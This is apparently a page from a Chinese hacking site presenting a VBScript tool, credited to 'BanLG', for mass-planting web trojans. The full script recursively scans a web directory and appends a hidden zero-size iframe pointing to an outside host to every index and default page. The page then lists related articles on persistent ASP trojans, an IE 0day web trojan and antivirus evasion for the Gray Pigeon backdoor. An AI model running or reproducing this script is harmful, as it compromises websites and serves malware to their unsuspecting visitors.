scan.vbe
cscript scan.vbe web目录
程序代码:
| 以下是引用片段: '版权信息 br="************************************" & vbCrLf br=br & "* VBS 批量挂马脚本 *" & vbCrLf br=br & "* BY BanLG *" & vbCrLf br=br & "************************************" & vbCrLf & vbCrLf br=br & "cscript scan.vbe D:\" & vbCrLf '马的地址 ma="</Script><IfRAME height=0 width=0 sRc=" & chr(34) & "http://www.hacker.com.cn"&chr( ... t;</IFrAME>" '要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开 MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx" '以"|"为分隔符拆分成数组 MyArray = Split(MyString, "|", -1, 1) web=WScript.Arguments(0) '如果web为空退出脚本 if web="" then Wscript.echo (br) window.Close end if Wscript.echo (br) & "马的地址:" & ma & vbCrLf & vbCrLf '创建对象 Set fso = createObject("Scripting.FileSystemObject") '开始扫描挂马 scan(web) 'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾 sub scan(filesder) set filesder=fso.getfolder(filesder) '得到当前目录的所有文件集合 set files=filesder.files '获取文件名 for each fext in files Set file1 = fso.GetFile(fext) filesext=file1.Name '把文件名转换成小写字母 ext=lcase(filesext) For Each index in MyArray '判断文件是不是我们在MyString里限定的文件,如果是就写马 if ext=lcase(index) then Set ts = fso.OpenTextFile(fext,8) '打开文件并在文件末尾进行写操作 ts.WriteLine(ma) ts.Close echo="" echo=fext & " .............ok" Wscript.echo (echo) end if next next set subfolders=filesder.subfolders for each subfolder in subfolders '搜索其他目录,递归调用 scan(subfolder) next end sub |
| 两个批量挂马脚本 | 05-11 | |
| 黑客技术之打造不死的ASP木马的方 | 04-20 | |
| 2007年IE 0day 网马 | 04-02 | |
| 修改特征码打造免杀后门之灰鸽子 | 04-02 | |
| 挂马代码大全 | 03-22 | |
| 打造不死的asp木马 | 03-21 | |
| 木马免杀原理详解 | 01-31 | |
| 新编MS07004网页木马源码 | 01-27 | |
| 灰鸽子VIP2006服务端过各种杀毒软 | 01-26 | |
| 木马免杀之加壳与改入口点法 | 01-23 | |
| 灰鸽子超级详细教程(看了就会) | 01-16 | |
| 灰鸽子远程管理软件新手技术手册 | 12-27 | |